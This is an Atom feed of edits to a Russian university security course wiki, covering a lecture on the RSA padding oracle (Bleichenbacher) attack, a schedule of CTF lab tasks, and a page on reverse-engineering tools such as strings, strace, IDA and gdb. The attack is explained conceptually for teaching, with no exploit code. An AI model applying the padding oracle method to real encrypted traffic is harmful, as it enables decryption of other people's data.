<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://course.secsem.ru/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Romankholin94</id>
	<title>SecSem Wiki - Вклад [ru]</title>
	<link rel="self" type="application/atom+xml" href="https://course.secsem.ru/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Romankholin94"/>
	<link rel="alternate" type="text/html" href="https://course.secsem.ru/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/Romankholin94"/>
	<updated>2026-04-29T03:20:15Z</updated>
	<subtitle>Вклад</subtitle>
	<generator>MediaWiki 1.43.3</generator>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=963</id>
		<title>Криптография/Атака Padding oracle на RSA</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=963"/>
		<updated>2026-04-17T05:39:10Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Ссылки */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Мультипликативное свойство RSA==&lt;br /&gt;
Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от деления X на Y. Тогда:&lt;br /&gt;
&amp;lt;pre&amp;gt; E(M1)E(M2) mod N = E(M1M2 mod N)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Данной свойство очевидно выводится из определения функции шифрования E(M).&lt;br /&gt;
&lt;br /&gt;
==Pairing Oracle==&lt;br /&gt;
Разберем следующи пример: пусть есть сервис по заказу яиц. Но он позваляет заказывать только четное количество яиц. Заказы принимаются в зашифрованном RSA виде. Нужно, имея подслушанный зашифрованный текст C, получить его дешифрованный текст M.&lt;br /&gt;
&lt;br /&gt;
Атака выглядит следующим образом: пусть M &amp;lt; N. Можно послать сервису заказ на &amp;lt;code&amp;gt;2M mod N&amp;lt;/code&amp;gt; яиц (для этого нужно послать &amp;lt;code&amp;gt;(C*2^e) mod N)&amp;lt;/code&amp;gt;. Тогда есть два варинта:&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;gt; N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M - N&amp;lt;/code&amp;gt; - нечетное число, сервис не принимает заказ&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;lt;= N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M&amp;lt;/code&amp;gt; - четное число, сервис принимает заказ&lt;br /&gt;
Аналогичные суждения можно сделать, домножая C на 2^ie mod N (где i - натуральное число) и, используя метод двоичного поиска, выяснить, чему же равно M.&lt;br /&gt;
&lt;br /&gt;
==PKCS==&lt;br /&gt;
Согласно этому стандарту, паддинг текста, длина которого недостаточна для шифрования происходит следующим образом:&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527&lt;br /&gt;
eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt;4c65616b696e672070617269747920616c6c6f777320666f7&lt;br /&gt;
22064656372797074696e6720612077686f6c652052534120656e63727970746564206d6573736167650a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt; - первые два байта определяют тип падинга&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d&lt;br /&gt;
0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt; - ненулевые случайные байты&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt; - сепаратор, после которого идёт собственно сам текст&lt;br /&gt;
&lt;br /&gt;
==Атака Блехенбахера==&lt;br /&gt;
[[Файл:Padding.zip|200px|thumb|left|Описание атаки]]&lt;br /&gt;
&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://docs.google.com/presentation/d/19sGLccnP5IcVm3l3ie3UJZ_nMTxu62SMCFHCd_M2fFc/edit?usp=sharing Презинтация лекции]&lt;br /&gt;
* [http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf Оригинал статьи по атаке Блехенбахера]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=962</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=962"/>
		<updated>2026-04-17T05:38:18Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 06.12.2025 23:59)&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.12.2025 23:43)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2025 reverse tasks.zip|Задания по реверсу]] (deadline - 17.12.2025 23:59:59.999999 MSK)&lt;br /&gt;
* [[Media:2025 pwn tasks.zip|Задания по бинарной эксплутации]] (deadline - 23.12.2025 23:59:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 2]  &amp;lt;code&amp;gt;nc fdca:22c8:7316::1 16966&amp;lt;/code&amp;gt;   (deadline - 23.12.2025 23:59:59)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [[Практикум_на_ЭВМ_(2026)/broadcast | broadcast]], [[ Практикум_на_ЭВМ_(2026)/common-sense | common-sense]] (deadline - 31.03.2026 23:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 02.04.2026 23:53)&lt;br /&gt;
* Padding oracle: [http://even.tasks.prak.seclab.cs.msu.ru/ even], [http://bleichenbacher.tasks.prak.seclab.cs.msu.ru/ bleichenbacher] (deadline - 03.06.2026 23:59)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2025) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2025) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (19 февраля 2026) [[Криптография/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (26 февраля 2026) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (5 марта 2026) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (19 марта 2026) [[Сетевая_безопасность/Анализ_сетевого_трафика]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (26 марта 2026) [[Сетевая безопасность/Сетевой стек и DNS]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=931</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=931"/>
		<updated>2025-11-10T19:11:40Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Примеры с занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
Версия IDA Free вполне подходит для наших задач, её можно [https://hex-rays.com/ida-free/ скачать с официального сайта]. Ссылки на скачивание могут не открываться из РФ, вот на всякий случай зеркала:&lt;br /&gt;
&lt;br /&gt;
* https://course.secsem.ru/idafree83_linux.run&lt;br /&gt;
* https://course.secsem.ru/idafree83_windows.exe&lt;br /&gt;
* https://course.secsem.ru/idafree83_mac.app.zip&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== Режим дизассемблера ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Режим декомпилятора (Hex-Rays) ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
* &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; - показать карту памяти процесса&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:Reverse examples 2025.zip]].&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=930</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=930"/>
		<updated>2025-11-10T19:11:22Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Примеры с занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
Версия IDA Free вполне подходит для наших задач, её можно [https://hex-rays.com/ida-free/ скачать с официального сайта]. Ссылки на скачивание могут не открываться из РФ, вот на всякий случай зеркала:&lt;br /&gt;
&lt;br /&gt;
* https://course.secsem.ru/idafree83_linux.run&lt;br /&gt;
* https://course.secsem.ru/idafree83_windows.exe&lt;br /&gt;
* https://course.secsem.ru/idafree83_mac.app.zip&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== Режим дизассемблера ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
